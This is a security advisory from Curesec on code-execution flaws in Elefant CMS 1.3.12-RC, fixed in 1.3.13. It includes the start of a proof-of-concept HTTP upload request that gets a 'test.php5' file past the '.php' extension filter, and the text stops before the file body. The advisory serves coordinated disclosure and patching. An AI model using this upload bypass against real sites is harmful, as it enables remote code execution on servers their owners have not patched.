Security Advisory - Curesec Research Team 1. Introduction Affected Product: Elefant CMS 1.3.12-RC Fixed in: 1.3.13 Fixed Version https://github.com/jbroadway/elefant/releases/tag/ Link: elefant_1_3_13_rc Vendor Website: https://www.elefantcms.com/ Vulnerability Code Execution Type: Remote Yes Exploitable: Reported to 09/05/2016 vendor: Disclosed to 02/02/2017 public: Release mode: Coordinated Release CVE: n/a (not requested) Credits Tim Coen of Curesec GmbH 2. Overview Elefant is a content managment system written in PHP. In version 1.3.12-RC, it is vulnerable to code execution because of two different vulnerabilities. It allows the upload of files with dangerous type, as well as PHP code injection. An account is required to exploit these issues. 3. Details Upload of file with dangerous type CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C The file upload forbids the uploading of files with the .php extension, but allows uploading of files with a number of other dangerous extensions leading to code execution and XSS. A user account is required which has the right to upload and manage files. By default, the editor or admin role have this right. Proof of Concept: POST /filemanager/upload/drop HTTP/1.1 Host: localhost Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/ form-data; boundary=------multipartformboundary1472116478634 X-Requested-With: XMLHttpRequest Content-Length: 316 Cookie: PHPSESSID= 57uejmot41c4jsbtbac85mek55; elefant_update_checked=1; elefant_last_page= %2Fuser; elefant_user=nj86h42vi2j73tsturvq4slr05 Connection: close --------multipartformboundary1472116478634 Content-Disposition: form-data; name ="path" --------multipartformboundary1472116478634 Content-Disposition: form-data; name="file"; filename="test.php5" Content-Type: application/x-php